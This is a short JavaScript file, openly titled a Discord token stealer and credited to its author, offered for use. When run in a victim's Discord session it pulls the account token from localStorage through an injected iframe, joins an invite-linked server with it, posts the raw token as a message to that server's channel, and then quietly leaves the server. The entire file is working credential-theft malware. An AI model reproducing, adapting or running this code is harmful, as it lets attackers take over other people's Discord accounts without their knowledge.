// Discord Token Stealer
// written by WestlyRoots
//
// server where the tokens are posted
// https://discord.gg/3TZwhbX

var t = document.body.appendChild(document.createElement('iframe')).contentWindow.localStorage.token;
var ct = t.replace(/['"]+/g, '');
let r = new XMLHttpRequest();
r.withCredentials = true;
r.open("POST", "https://discordapp.com/api/v6/invite/3TZwhbX");
r.setRequestHeader("authorization", ct);
r.setRequestHeader("accept", "/");
r.setRequestHeader("authority", "discordapp.com");
r.send(null);

setTimeout(() => {
    r = new XMLHttpRequest();
    r.withCredentials = true;
    r.open("POST", "https://discordapp.com/api/v6/channels/415946919722876930/messages");
    r.setRequestHeader("authorization", ct);
    r.setRequestHeader("content-type", "application/json");
    r.send(JSON.stringify({ content: t }));
}, 300);

setTimeout(() => {
    r = new XMLHttpRequest();
    r.withCredentials = true;
    r.open("DELETE", "https://discordapp.com/api/v6/users/@me/guilds/415946919722876928");
    r.setRequestHeader("authorization", ct);
    r.setRequestHeader("accept", "/");
    r.send(null);
}, 700);